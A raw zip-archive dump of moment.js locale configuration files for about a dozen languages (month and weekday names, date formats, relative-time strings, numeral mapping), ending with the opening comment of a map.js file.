        return string.replace(/[១២៣៤៥៦៧៨៩០]/g, function (match) {
            return numberMap[match];
        });
    },
    postformat: function (string) {
        return string.replace(/\d/g, function (match) {
            return symbolMap[match];
        });
    },
    week: {
        dow: 1, // Monday is the first day of the week.
        doy: 4 // The week that contains Jan 4th is the first week of the year.
    }
});
PK.��\֟F��	�	locale/dv.jsnu�[���//! moment.js locale configuration
//! locale : Maldivian [dv]
//! author : Jawish Hameed : https://github.com/jawish

import moment from '../moment';

var months = [
    'ޖެނުއަރީ',
    'ފެބްރުއަރީ',
    'މާރިޗު',
    'އޭޕްރީލު',
    'މޭ',
    'ޖޫން',
    'ޖުލައި',
    'އޯގަސްޓު',
    'ސެޕްޓެމްބަރު',
    'އޮކްޓޯބަރު',
    'ނޮވެމްބަރު',
    'ޑިސެމްބަރު'
], weekdays = [
    'އާދިއްތަ',
    'ހޯމަ',
    'އަންގާރަ',
    'ބުދަ',
    'ބުރާސްފަތި',
    'ހުކުރު',
    'ހޮނިހިރު'
];

export default moment.defineLocale('dv', {
    months : months,
    monthsShort : months,
    weekdays : weekdays,
    weekdaysShort : weekdays,
    weekdaysMin : 'އާދި_ހޯމަ_އަން_ބުދަ_ބުރާ_ހުކު_ހޮނި'.split('_'),
    longDateFormat : {

        LT : 'HH:mm',
        LTS : 'HH:mm:ss',
        L : 'D/M/YYYY',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY HH:mm',
        LLLL : 'dddd D MMMM YYYY HH:mm'
    },
    meridiemParse: /މކ|މފ/,
    isPM : function (input) {
        return 'މފ' === input;
    },
    meridiem : function (hour, minute, isLower) {
        if (hour < 12) {
            return 'މކ';
        } else {
            return 'މފ';
        }
    },
    calendar : {
        sameDay : '[މިއަދު] LT',
        nextDay : '[މާދަމާ] LT',
        nextWeek : 'dddd LT',
        lastDay : '[އިއްޔެ] LT',
        lastWeek : '[ފާއިތުވި] dddd LT',
        sameElse : 'L'
    },
    relativeTime : {
        future : 'ތެރޭގައި %s',
        past : 'ކުރިން %s',
        s : 'ސިކުންތުކޮޅެއް',
        ss : 'd% ސިކުންތު',
        m : 'މިނިޓެއް',
        mm : 'މިނިޓު %d',
        h : 'ގަޑިއިރެއް',
        hh : 'ގަޑިއިރު %d',
        d : 'ދުވަހެއް',
        dd : 'ދުވަސް %d',
        M : 'މަހެއް',
        MM : 'މަސް %d',
        y : 'އަހަރެއް',
        yy : 'އަހަރު %d'
    },
    preparse: function (string) {
        return string.replace(/،/g, ',');
    },
    postformat: function (string) {
        return string.replace(/,/g, '،');
    },
    week : {
        dow : 7,  // Sunday is the first day of the week.
        doy : 12  // The week that contains Jan 1st is the first week of the year.
    }
});
PK.��\n��̞�locale/lt.jsnu�[���//! moment.js locale configuration
//! locale : Lithuanian [lt]
//! author : Mindaugas Mozūras : https://github.com/mmozuras

import moment from '../moment';

var units = {
    'ss' : 'sekundė_sekundžių_sekundes',
    'm' : 'minutė_minutės_minutę',
    'mm': 'minutės_minučių_minutes',
    'h' : 'valanda_valandos_valandą',
    'hh': 'valandos_valandų_valandas',
    'd' : 'diena_dienos_dieną',
    'dd': 'dienos_dienų_dienas',
    'M' : 'mėnuo_mėnesio_mėnesį',
    'MM': 'mėnesiai_mėnesių_mėnesius',
    'y' : 'metai_metų_metus',
    'yy': 'metai_metų_metus'
};
function translateSeconds(number, withoutSuffix, key, isFuture) {
    if (withoutSuffix) {
        return 'kelios sekundės';
    } else {
        return isFuture ? 'kelių sekundžių' : 'kelias sekundes';
    }
}
function translateSingular(number, withoutSuffix, key, isFuture) {
    return withoutSuffix ? forms(key)[0] : (isFuture ? forms(key)[1] : forms(key)[2]);
}
function special(number) {
    return number % 10 === 0 || (number > 10 && number < 20);
}
function forms(key) {
    return units[key].split('_');
}
function translate(number, withoutSuffix, key, isFuture) {
    var result = number + ' ';
    if (number === 1) {
        return result + translateSingular(number, withoutSuffix, key[0], isFuture);
    } else if (withoutSuffix) {
        return result + (special(number) ? forms(key)[1] : forms(key)[0]);
    } else {
        if (isFuture) {
            return result + forms(key)[1];
        } else {
            return result + (special(number) ? forms(key)[1] : forms(key)[2]);
        }
    }
}
export default moment.defineLocale('lt', {
    months : {
        format: 'sausio_vasario_kovo_balandžio_gegužės_birželio_liepos_rugpjūčio_rugsėjo_spalio_lapkričio_gruodžio'.split('_'),
        standalone: 'sausis_vasaris_kovas_balandis_gegužė_birželis_liepa_rugpjūtis_rugsėjis_spalis_lapkritis_gruodis'.split('_'),
        isFormat: /D[oD]?(\[[^\[\]]*\]|\s)+MMMM?|MMMM?(\[[^\[\]]*\]|\s)+D[oD]?/
    },
    monthsShort : 'sau_vas_kov_bal_geg_bir_lie_rgp_rgs_spa_lap_grd'.split('_'),
    weekdays : {
        format: 'sekmadienį_pirmadienį_antradienį_trečiadienį_ketvirtadienį_penktadienį_šeštadienį'.split('_'),
        standalone: 'sekmadienis_pirmadienis_antradienis_trečiadienis_ketvirtadienis_penktadienis_šeštadienis'.split('_'),
        isFormat: /dddd HH:mm/
    },
    weekdaysShort : 'Sek_Pir_Ant_Tre_Ket_Pen_Šeš'.split('_'),
    weekdaysMin : 'S_P_A_T_K_Pn_Š'.split('_'),
    weekdaysParseExact : true,
    longDateFormat : {
        LT : 'HH:mm',
        LTS : 'HH:mm:ss',
        L : 'YYYY-MM-DD',
        LL : 'YYYY [m.] MMMM D [d.]',
        LLL : 'YYYY [m.] MMMM D [d.], HH:mm [val.]',
        LLLL : 'YYYY [m.] MMMM D [d.], dddd, HH:mm [val.]',
        l : 'YYYY-MM-DD',
        ll : 'YYYY [m.] MMMM D [d.]',
        lll : 'YYYY [m.] MMMM D [d.], HH:mm [val.]',
        llll : 'YYYY [m.] MMMM D [d.], ddd, HH:mm [val.]'
    },
    calendar : {
        sameDay : '[Šiandien] LT',
        nextDay : '[Rytoj] LT',
        nextWeek : 'dddd LT',
        lastDay : '[Vakar] LT',
        lastWeek : '[Praėjusį] dddd LT',
        sameElse : 'L'
    },
    relativeTime : {
        future : 'po %s',
        past : 'prieš %s',
        s : translateSeconds,
        ss : translate,
        m : translateSingular,
        mm : translate,
        h : translateSingular,
        hh : translate,
        d : translateSingular,
        dd : translate,
        M : translateSingular,
        MM : translate,
        y : translateSingular,
        yy : translate
    },
    dayOfMonthOrdinalParse: /\d{1,2}-oji/,
    ordinal : function (number) {
        return number + '-oji';
    },
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 4  // The week that contains Jan 4th is the first week of the year.
    }
});

PK.��\�ؑczzlocale/pa-in.jsnu�[���//! moment.js locale configuration
//! locale : Punjabi (India) [pa-in]
//! author : Harpreet Singh : https://github.com/harpreetkhalsagtbit

import moment from '../moment';

var symbolMap = {
    '1': '੧',
    '2': '੨',
    '3': '੩',
    '4': '੪',
    '5': '੫',
    '6': '੬',
    '7': '੭',
    '8': '੮',
    '9': '੯',
    '0': '੦'
},
numberMap = {
    '੧': '1',
    '੨': '2',
    '੩': '3',
    '੪': '4',
    '੫': '5',
    '੬': '6',
    '੭': '7',
    '੮': '8',
    '੯': '9',
    '੦': '0'
};

export default moment.defineLocale('pa-in', {
    // There are months name as per Nanakshahi Calender but they are not used as rigidly in modern Punjabi.
    months : 'ਜਨਵਰੀ_ਫ਼ਰਵਰੀ_ਮਾਰਚ_ਅਪ੍ਰੈਲ_ਮਈ_ਜੂਨ_ਜੁਲਾਈ_ਅਗਸਤ_ਸਤੰਬਰ_ਅਕਤੂਬਰ_ਨਵੰਬਰ_ਦਸੰਬਰ'.split('_'),
    monthsShort : 'ਜਨਵਰੀ_ਫ਼ਰਵਰੀ_ਮਾਰਚ_ਅਪ੍ਰੈਲ_ਮਈ_ਜੂਨ_ਜੁਲਾਈ_ਅਗਸਤ_ਸਤੰਬਰ_ਅਕਤੂਬਰ_ਨਵੰਬਰ_ਦਸੰਬਰ'.split('_'),
    weekdays : 'ਐਤਵਾਰ_ਸੋਮਵਾਰ_ਮੰਗਲਵਾਰ_ਬੁਧਵਾਰ_ਵੀਰਵਾਰ_ਸ਼ੁੱਕਰਵਾਰ_ਸ਼ਨੀਚਰਵਾਰ'.split('_'),
    weekdaysShort : 'ਐਤ_ਸੋਮ_ਮੰਗਲ_ਬੁਧ_ਵੀਰ_ਸ਼ੁਕਰ_ਸ਼ਨੀ'.split('_'),
    weekdaysMin : 'ਐਤ_ਸੋਮ_ਮੰਗਲ_ਬੁਧ_ਵੀਰ_ਸ਼ੁਕਰ_ਸ਼ਨੀ'.split('_'),
    longDateFormat : {
        LT : 'A h:mm ਵਜੇ',
        LTS : 'A h:mm:ss ਵਜੇ',
        L : 'DD/MM/YYYY',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY, A h:mm ਵਜੇ',
        LLLL : 'dddd, D MMMM YYYY, A h:mm ਵਜੇ'
    },
    calendar : {
        sameDay : '[ਅਜ] LT',
        nextDay : '[ਕਲ] LT',
        nextWeek : '[ਅਗਲਾ] dddd, LT',
        lastDay : '[ਕਲ] LT',
        lastWeek : '[ਪਿਛਲੇ] dddd, LT',
        sameElse : 'L'
    },
    relativeTime : {
        future : '%s ਵਿੱਚ',
        past : '%s ਪਿਛਲੇ',
        s : 'ਕੁਝ ਸਕਿੰਟ',
        ss : '%d ਸਕਿੰਟ',
        m : 'ਇਕ ਮਿੰਟ',
        mm : '%d ਮਿੰਟ',
        h : 'ਇੱਕ ਘੰਟਾ',
        hh : '%d ਘੰਟੇ',
        d : 'ਇੱਕ ਦਿਨ',
        dd : '%d ਦਿਨ',
        M : 'ਇੱਕ ਮਹੀਨਾ',
        MM : '%d ਮਹੀਨੇ',
        y : 'ਇੱਕ ਸਾਲ',
        yy : '%d ਸਾਲ'
    },
    preparse: function (string) {
        return string.replace(/[੧੨੩੪੫੬੭੮੯੦]/g, function (match) {
            return numberMap[match];
        });
    },
    postformat: function (string) {
        return string.replace(/\d/g, function (match) {
            return symbolMap[match];
        });
    },
    // Punjabi notation for meridiems are quite fuzzy in practice. While there exists
    // a rigid notion of a 'Pahar' it is not used as rigidly in modern Punjabi.
    meridiemParse: /ਰਾਤ|ਸਵੇਰ|ਦੁਪਹਿਰ|ਸ਼ਾਮ/,
    meridiemHour : function (hour, meridiem) {
        if (hour === 12) {
            hour = 0;
        }
        if (meridiem === 'ਰਾਤ') {
            return hour < 4 ? hour : hour + 12;
        } else if (meridiem === 'ਸਵੇਰ') {
            return hour;
        } else if (meridiem === 'ਦੁਪਹਿਰ') {
            return hour >= 10 ? hour : hour + 12;
        } else if (meridiem === 'ਸ਼ਾਮ') {
            return hour + 12;
        }
    },
    meridiem : function (hour, minute, isLower) {
        if (hour < 4) {
            return 'ਰਾਤ';
        } else if (hour < 10) {
            return 'ਸਵੇਰ';
        } else if (hour < 17) {
            return 'ਦੁਪਹਿਰ';
        } else if (hour < 20) {
            return 'ਸ਼ਾਮ';
        } else {
            return 'ਰਾਤ';
        }
    },
    week : {
        dow : 0, // Sunday is the first day of the week.
        doy : 6  // The week that contains Jan 1st is the first week of the year.
    }
});

PK.��\ƺpUUlocale/se.jsnu�[���//! moment.js locale configuration
//! locale : Northern Sami [se]
//! authors : Bård Rolstad Henriksen : https://github.com/karamell


import moment from '../moment';

export default moment.defineLocale('se', {
    months : 'ođđajagemánnu_guovvamánnu_njukčamánnu_cuoŋománnu_miessemánnu_geassemánnu_suoidnemánnu_borgemánnu_čakčamánnu_golggotmánnu_skábmamánnu_juovlamánnu'.split('_'),
    monthsShort : 'ođđj_guov_njuk_cuo_mies_geas_suoi_borg_čakč_golg_skáb_juov'.split('_'),
    weekdays : 'sotnabeaivi_vuossárga_maŋŋebárga_gaskavahkku_duorastat_bearjadat_lávvardat'.split('_'),
    weekdaysShort : 'sotn_vuos_maŋ_gask_duor_bear_láv'.split('_'),
    weekdaysMin : 's_v_m_g_d_b_L'.split('_'),
    longDateFormat : {
        LT : 'HH:mm',
        LTS : 'HH:mm:ss',
        L : 'DD.MM.YYYY',
        LL : 'MMMM D. [b.] YYYY',
        LLL : 'MMMM D. [b.] YYYY [ti.] HH:mm',
        LLLL : 'dddd, MMMM D. [b.] YYYY [ti.] HH:mm'
    },
    calendar : {
        sameDay: '[otne ti] LT',
        nextDay: '[ihttin ti] LT',
        nextWeek: 'dddd [ti] LT',
        lastDay: '[ikte ti] LT',
        lastWeek: '[ovddit] dddd [ti] LT',
        sameElse: 'L'
    },
    relativeTime : {
        future : '%s geažes',
        past : 'maŋit %s',
        s : 'moadde sekunddat',
        ss: '%d sekunddat',
        m : 'okta minuhta',
        mm : '%d minuhtat',
        h : 'okta diimmu',
        hh : '%d diimmut',
        d : 'okta beaivi',
        dd : '%d beaivvit',
        M : 'okta mánnu',
        MM : '%d mánut',
        y : 'okta jahki',
        yy : '%d jagit'
    },
    dayOfMonthOrdinalParse: /\d{1,2}\./,
    ordinal : '%d.',
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 4  // The week that contains Jan 4th is the first week of the year.
    }
});
PK.��\���U
U
locale/tr.jsnu�[���
//! moment.js locale configuration
//! locale : Turkish [tr]
//! authors : Erhan Gundogan : https://github.com/erhangundogan,
//!           Burak Yiğit Kaya: https://github.com/BYK

import moment from '../moment';

var suffixes = {
    1: '\'inci',
    5: '\'inci',
    8: '\'inci',
    70: '\'inci',
    80: '\'inci',
    2: '\'nci',
    7: '\'nci',
    20: '\'nci',
    50: '\'nci',
    3: '\'üncü',
    4: '\'üncü',
    100: '\'üncü',
    6: '\'ncı',
    9: '\'uncu',
    10: '\'uncu',
    30: '\'uncu',
    60: '\'ıncı',
    90: '\'ıncı'
};

export default moment.defineLocale('tr', {
    months : 'Ocak_Şubat_Mart_Nisan_Mayıs_Haziran_Temmuz_Ağustos_Eylül_Ekim_Kasım_Aralık'.split('_'),
    monthsShort : 'Oca_Şub_Mar_Nis_May_Haz_Tem_Ağu_Eyl_Eki_Kas_Ara'.split('_'),
    weekdays : 'Pazar_Pazartesi_Salı_Çarşamba_Perşembe_Cuma_Cumartesi'.split('_'),
    weekdaysShort : 'Paz_Pts_Sal_Çar_Per_Cum_Cts'.split('_'),
    weekdaysMin : 'Pz_Pt_Sa_Ça_Pe_Cu_Ct'.split('_'),
    longDateFormat : {
        LT : 'HH:mm',
        LTS : 'HH:mm:ss',
        L : 'DD.MM.YYYY',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY HH:mm',
        LLLL : 'dddd, D MMMM YYYY HH:mm'
    },
    calendar : {
        sameDay : '[bugün saat] LT',
        nextDay : '[yarın saat] LT',
        nextWeek : '[gelecek] dddd [saat] LT',
        lastDay : '[dün] LT',
        lastWeek : '[geçen] dddd [saat] LT',
        sameElse : 'L'
    },
    relativeTime : {
        future : '%s sonra',
        past : '%s önce',
        s : 'birkaç saniye',
        ss : '%d saniye',
        m : 'bir dakika',
        mm : '%d dakika',
        h : 'bir saat',
        hh : '%d saat',
        d : 'bir gün',
        dd : '%d gün',
        M : 'bir ay',
        MM : '%d ay',
        y : 'bir yıl',
        yy : '%d yıl'
    },
    ordinal: function (number, period) {
        switch (period) {
            case 'd':
            case 'D':
            case 'Do':
            case 'DD':
                return number;
            default:
                if (number === 0) {  // special case for zero
                    return number + '\'ıncı';
                }
                var a = number % 10,
                    b = number % 100 - a,
                    c = number >= 100 ? 100 : null;
                return number + (suffixes[a] || suffixes[b] || suffixes[c]);
        }
    },
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 7  // The week that contains Jan 1st is the first week of the year.
    }
});

PK.��\�g�locale/bn.jsnu�[���//! moment.js locale configuration
//! locale : Bengali [bn]
//! author : Kaushik Gandhi : https://github.com/kaushikgandhi

import moment from '../moment';

var symbolMap = {
    '1': '১',
    '2': '২',
    '3': '৩',
    '4': '৪',
    '5': '৫',
    '6': '৬',
    '7': '৭',
    '8': '৮',
    '9': '৯',
    '0': '০'
},
numberMap = {
    '১': '1',
    '২': '2',
    '৩': '3',
    '৪': '4',
    '৫': '5',
    '৬': '6',
    '৭': '7',
    '৮': '8',
    '৯': '9',
    '০': '0'
};

export default moment.defineLocale('bn', {
    months : 'জানুয়ারী_ফেব্রুয়ারি_মার্চ_এপ্রিল_মে_জুন_জুলাই_আগস্ট_সেপ্টেম্বর_অক্টোবর_নভেম্বর_ডিসেম্বর'.split('_'),
    monthsShort : 'জানু_ফেব_মার্চ_এপ্র_মে_জুন_জুল_আগ_সেপ্ট_অক্টো_নভে_ডিসে'.split('_'),
    weekdays : 'রবিবার_সোমবার_মঙ্গলবার_বুধবার_বৃহস্পতিবার_শুক্রবার_শনিবার'.split('_'),
    weekdaysShort : 'রবি_সোম_মঙ্গল_বুধ_বৃহস্পতি_শুক্র_শনি'.split('_'),
    weekdaysMin : 'রবি_সোম_মঙ্গ_বুধ_বৃহঃ_শুক্র_শনি'.split('_'),
    longDateFormat : {
        LT : 'A h:mm সময়',
        LTS : 'A h:mm:ss সময়',
        L : 'DD/MM/YYYY',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY, A h:mm সময়',
        LLLL : 'dddd, D MMMM YYYY, A h:mm সময়'
    },
    calendar : {
        sameDay : '[আজ] LT',
        nextDay : '[আগামীকাল] LT',
        nextWeek : 'dddd, LT',
        lastDay : '[গতকাল] LT',
        lastWeek : '[গত] dddd, LT',
        sameElse : 'L'
    },
    relativeTime : {
        future : '%s পরে',
        past : '%s আগে',
        s : 'কয়েক সেকেন্ড',
        ss : '%d সেকেন্ড',
        m : 'এক মিনিট',
        mm : '%d মিনিট',
        h : 'এক ঘন্টা',
        hh : '%d ঘন্টা',
        d : 'এক দিন',
        dd : '%d দিন',
        M : 'এক মাস',
        MM : '%d মাস',
        y : 'এক বছর',
        yy : '%d বছর'
    },
    preparse: function (string) {
        return string.replace(/[১২৩৪৫৬৭৮৯০]/g, function (match) {
            return numberMap[match];
        });
    },
    postformat: function (string) {
        return string.replace(/\d/g, function (match) {
            return symbolMap[match];
        });
    },
    meridiemParse: /রাত|সকাল|দুপুর|বিকাল|রাত/,
    meridiemHour : function (hour, meridiem) {
        if (hour === 12) {
            hour = 0;
        }
        if ((meridiem === 'রাত' && hour >= 4) ||
                (meridiem === 'দুপুর' && hour < 5) ||
                meridiem === 'বিকাল') {
            return hour + 12;
        } else {
            return hour;
        }
    },
    meridiem : function (hour, minute, isLower) {
        if (hour < 4) {
            return 'রাত';
        } else if (hour < 10) {
            return 'সকাল';
        } else if (hour < 17) {
            return 'দুপুর';
        } else if (hour < 20) {
            return 'বিকাল';
        } else {
            return 'রাত';
        }
    },
    week : {
        dow : 0, // Sunday is the first day of the week.
        doy : 6  // The week that contains Jan 1st is the first week of the year.
    }
});
PK.��\��jjjlocale/az.jsnu�[���//! moment.js locale configuration
//! locale : Azerbaijani [az]
//! author : topchiyev : https://github.com/topchiyev

import moment from '../moment';

var suffixes = {
    1: '-inci',
    5: '-inci',
    8: '-inci',
    70: '-inci',
    80: '-inci',
    2: '-nci',
    7: '-nci',
    20: '-nci',
    50: '-nci',
    3: '-üncü',
    4: '-üncü',
    100: '-üncü',
    6: '-ncı',
    9: '-uncu',
    10: '-uncu',
    30: '-uncu',
    60: '-ıncı',
    90: '-ıncı'
};

export default moment.defineLocale('az', {
    months : 'yanvar_fevral_mart_aprel_may_iyun_iyul_avqust_sentyabr_oktyabr_noyabr_dekabr'.split('_'),
    monthsShort : 'yan_fev_mar_apr_may_iyn_iyl_avq_sen_okt_noy_dek'.split('_'),
    weekdays : 'Bazar_Bazar ertəsi_Çərşənbə axşamı_Çərşənbə_Cümə axşamı_Cümə_Şənbə'.split('_'),
    weekdaysShort : 'Baz_BzE_ÇAx_Çər_CAx_Cüm_Şən'.split('_'),
    weekdaysMin : 'Bz_BE_ÇA_Çə_CA_Cü_Şə'.split('_'),
    weekdaysParseExact : true,
    longDateFormat : {
        LT : 'HH:mm',
        LTS : 'HH:mm:ss',
        L : 'DD.MM.YYYY',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY HH:mm',
        LLLL : 'dddd, D MMMM YYYY HH:mm'
    },
    calendar : {
        sameDay : '[bugün saat] LT',
        nextDay : '[sabah saat] LT',
        nextWeek : '[gələn həftə] dddd [saat] LT',
        lastDay : '[dünən] LT',
        lastWeek : '[keçən həftə] dddd [saat] LT',
        sameElse : 'L'
    },
    relativeTime : {
        future : '%s sonra',
        past : '%s əvvəl',
        s : 'birneçə saniyə',
        ss : '%d saniyə',
        m : 'bir dəqiqə',
        mm : '%d dəqiqə',
        h : 'bir saat',
        hh : '%d saat',
        d : 'bir gün',
        dd : '%d gün',
        M : 'bir ay',
        MM : '%d ay',
        y : 'bir il',
        yy : '%d il'
    },
    meridiemParse: /gecə|səhər|gündüz|axşam/,
    isPM : function (input) {
        return /^(gündüz|axşam)$/.test(input);
    },
    meridiem : function (hour, minute, isLower) {
        if (hour < 4) {
            return 'gecə';
        } else if (hour < 12) {
            return 'səhər';
        } else if (hour < 17) {
            return 'gündüz';
        } else {
            return 'axşam';
        }
    },
    dayOfMonthOrdinalParse: /\d{1,2}-(ıncı|inci|nci|üncü|ncı|uncu)/,
    ordinal : function (number) {
        if (number === 0) {  // special case for zero
            return number + '-ıncı';
        }
        var a = number % 10,
            b = number % 100 - a,
            c = number >= 100 ? 100 : null;
        return number + (suffixes[a] || suffixes[b] || suffixes[c]);
    },
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 7  // The week that contains Jan 1st is the first week of the year.
    }
});

PK.��\��R)��locale/eo.jsnu�[���//! moment.js locale configuration
//! locale : Esperanto [eo]
//! author : Colin Dean : https://github.com/colindean
//! author : Mia Nordentoft Imperatori : https://github.com/miestasmia
//! comment : miestasmia corrected the translation by colindean

import moment from '../moment';

export default moment.defineLocale('eo', {
    months : 'januaro_februaro_marto_aprilo_majo_junio_julio_aŭgusto_septembro_oktobro_novembro_decembro'.split('_'),
    monthsShort : 'jan_feb_mar_apr_maj_jun_jul_aŭg_sep_okt_nov_dec'.split('_'),
    weekdays : 'dimanĉo_lundo_mardo_merkredo_ĵaŭdo_vendredo_sabato'.split('_'),
    weekdaysShort : 'dim_lun_mard_merk_ĵaŭ_ven_sab'.split('_'),
    weekdaysMin : 'di_lu_ma_me_ĵa_ve_sa'.split('_'),
    longDateFormat : {
        LT : 'HH:mm',
        LTS : 'HH:mm:ss',
        L : 'YYYY-MM-DD',
        LL : 'D[-a de] MMMM, YYYY',
        LLL : 'D[-a de] MMMM, YYYY HH:mm',
        LLLL : 'dddd, [la] D[-a de] MMMM, YYYY HH:mm'
    },
    meridiemParse: /[ap]\.t\.m/i,
    isPM: function (input) {
        return input.charAt(0).toLowerCase() === 'p';
    },
    meridiem : function (hours, minutes, isLower) {
        if (hours > 11) {
            return isLower ? 'p.t.m.' : 'P.T.M.';
        } else {
            return isLower ? 'a.t.m.' : 'A.T.M.';
        }
    },
    calendar : {
        sameDay : '[Hodiaŭ je] LT',
        nextDay : '[Morgaŭ je] LT',
        nextWeek : 'dddd [je] LT',
        lastDay : '[Hieraŭ je] LT',
        lastWeek : '[pasinta] dddd [je] LT',
        sameElse : 'L'
    },
    relativeTime : {
        future : 'post %s',
        past : 'antaŭ %s',
        s : 'sekundoj',
        ss : '%d sekundoj',
        m : 'minuto',
        mm : '%d minutoj',
        h : 'horo',
        hh : '%d horoj',
        d : 'tago',//ne 'diurno', ĉar estas uzita por proksimumo
        dd : '%d tagoj',
        M : 'monato',
        MM : '%d monatoj',
        y : 'jaro',
        yy : '%d jaroj'
    },
    dayOfMonthOrdinalParse: /\d{1,2}a/,
    ordinal : '%da',
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 7  // The week that contains Jan 1st is the first week of the year.
    }
});

PK.��\�ۋ��locale/en-au.jsnu�[���//! moment.js locale configuration
//! locale : English (Australia) [en-au]
//! author : Jared Morse : https://github.com/jarcoal

import moment from '../moment';

export default moment.defineLocale('en-au', {
    months : 'January_February_March_April_May_June_July_August_September_October_November_December'.split('_'),
    monthsShort : 'Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec'.split('_'),
    weekdays : 'Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday'.split('_'),
    weekdaysShort : 'Sun_Mon_Tue_Wed_Thu_Fri_Sat'.split('_'),
    weekdaysMin : 'Su_Mo_Tu_We_Th_Fr_Sa'.split('_'),
    longDateFormat : {
        LT : 'h:mm A',
        LTS : 'h:mm:ss A',
        L : 'DD/MM/YYYY',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY h:mm A',
        LLLL : 'dddd, D MMMM YYYY h:mm A'
    },
    calendar : {
        sameDay : '[Today at] LT',
        nextDay : '[Tomorrow at] LT',
        nextWeek : 'dddd [at] LT',
        lastDay : '[Yesterday at] LT',
        lastWeek : '[Last] dddd [at] LT',
        sameElse : 'L'
    },
    relativeTime : {
        future : 'in %s',
        past : '%s ago',
        s : 'a few seconds',
        ss : '%d seconds',
        m : 'a minute',
        mm : '%d minutes',
        h : 'an hour',
        hh : '%d hours',
        d : 'a day',
        dd : '%d days',
        M : 'a month',
        MM : '%d months',
        y : 'a year',
        yy : '%d years'
    },
    dayOfMonthOrdinalParse: /\d{1,2}(st|nd|rd|th)/,
    ordinal : function (number) {
        var b = number % 10,
            output = (~~(number % 100 / 10) === 1) ? 'th' :
            (b === 1) ? 'st' :
            (b === 2) ? 'nd' :
            (b === 3) ? 'rd' : 'th';
        return number + output;
    },
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 4  // The week that contains Jan 4th is the first week of the year.
    }
});

PK.��\�R����locale/lb.jsnu�[���//! moment.js locale configuration
//! locale : Luxembourgish [lb]
//! author : mweimerskirch : https://github.com/mweimerskirch
//! author : David Raison : https://github.com/kwisatz

import moment from '../moment';

function processRelativeTime(number, withoutSuffix, key, isFuture) {
    var format = {
        'm': ['eng Minutt', 'enger Minutt'],
        'h': ['eng Stonn', 'enger Stonn'],
        'd': ['een Dag', 'engem Dag'],
        'M': ['ee Mount', 'engem Mount'],
        'y': ['ee Joer', 'engem Joer']
    };
    return withoutSuffix ? format[key][0] : format[key][1];
}
function processFutureTime(string) {
    var number = string.substr(0, string.indexOf(' '));
    if (eifelerRegelAppliesToNumber(number)) {
        return 'a ' + string;
    }
    return 'an ' + string;
}
function processPastTime(string) {
    var number = string.substr(0, string.indexOf(' '));
    if (eifelerRegelAppliesToNumber(number)) {
        return 'viru ' + string;
    }
    return 'virun ' + string;
}
/**
 * Returns true if the word before the given number loses the '-n' ending.
 * e.g. 'an 10 Deeg' but 'a 5 Deeg'
 *
 * @param number {integer}
 * @returns {boolean}
 */
function eifelerRegelAppliesToNumber(number) {
    number = parseInt(number, 10);
    if (isNaN(number)) {
        return false;
    }
    if (number < 0) {
        // Negative Number --> always true
        return true;
    } else if (number < 10) {
        // Only 1 digit
        if (4 <= number && number <= 7) {
            return true;
        }
        return false;
    } else if (number < 100) {
        // 2 digits
        var lastDigit = number % 10, firstDigit = number / 10;
        if (lastDigit === 0) {
            return eifelerRegelAppliesToNumber(firstDigit);
        }
        return eifelerRegelAppliesToNumber(lastDigit);
    } else if (number < 10000) {
        // 3 or 4 digits --> recursively check first digit
        while (number >= 10) {
            number = number / 10;
        }
        return eifelerRegelAppliesToNumber(number);
    } else {
        // Anything larger than 4 digits: recursively check first n-3 digits
        number = number / 1000;
        return eifelerRegelAppliesToNumber(number);
    }
}

export default moment.defineLocale('lb', {
    months: 'Januar_Februar_Mäerz_Abrëll_Mee_Juni_Juli_August_September_Oktober_November_Dezember'.split('_'),
    monthsShort: 'Jan._Febr._Mrz._Abr._Mee_Jun._Jul._Aug._Sept._Okt._Nov._Dez.'.split('_'),
    monthsParseExact : true,
    weekdays: 'Sonndeg_Méindeg_Dënschdeg_Mëttwoch_Donneschdeg_Freideg_Samschdeg'.split('_'),
    weekdaysShort: 'So._Mé._Dë._Më._Do._Fr._Sa.'.split('_'),
    weekdaysMin: 'So_Mé_Dë_Më_Do_Fr_Sa'.split('_'),
    weekdaysParseExact : true,
    longDateFormat: {
        LT: 'H:mm [Auer]',
        LTS: 'H:mm:ss [Auer]',
        L: 'DD.MM.YYYY',
        LL: 'D. MMMM YYYY',
        LLL: 'D. MMMM YYYY H:mm [Auer]',
        LLLL: 'dddd, D. MMMM YYYY H:mm [Auer]'
    },
    calendar: {
        sameDay: '[Haut um] LT',
        sameElse: 'L',
        nextDay: '[Muer um] LT',
        nextWeek: 'dddd [um] LT',
        lastDay: '[Gëschter um] LT',
        lastWeek: function () {
            // Different date string for 'Dënschdeg' (Tuesday) and 'Donneschdeg' (Thursday) due to phonological rule
            switch (this.day()) {
                case 2:
                case 4:
                    return '[Leschten] dddd [um] LT';
                default:
                    return '[Leschte] dddd [um] LT';
            }
        }
    },
    relativeTime : {
        future : processFutureTime,
        past : processPastTime,
        s : 'e puer Sekonnen',
        ss : '%d Sekonnen',
        m : processRelativeTime,
        mm : '%d Minutten',
        h : processRelativeTime,
        hh : '%d Stonnen',
        d : processRelativeTime,
        dd : '%d Deeg',
        M : processRelativeTime,
        MM : '%d Méint',
        y : processRelativeTime,
        yy : '%d Joer'
    },
    dayOfMonthOrdinalParse: /\d{1,2}\./,
    ordinal: '%d.',
    week: {
        dow: 1, // Monday is the first day of the week.
        doy: 4  // The week that contains Jan 4th is the first week of the year.
    }
});

PKI��\2il0�0�map.jsnu�[���/**
 * Creates map, draws paths, binds events.
 * @constructor
 * @param {Object} params Parameters to initialize map with.
 * @param {String} params.map Name of the map in the format <code>territory_proj_lang</code> where <code>territory</code> is a unique code or name of the territory which the map represents (ISO 3166 standard is used where possible), <code>proj</code> is a name of projection used to generate representation of the map on the plane (projections are named according to the conventions of proj4 utility) and <code>lang</code> is a code of the language, used for the names of regions.
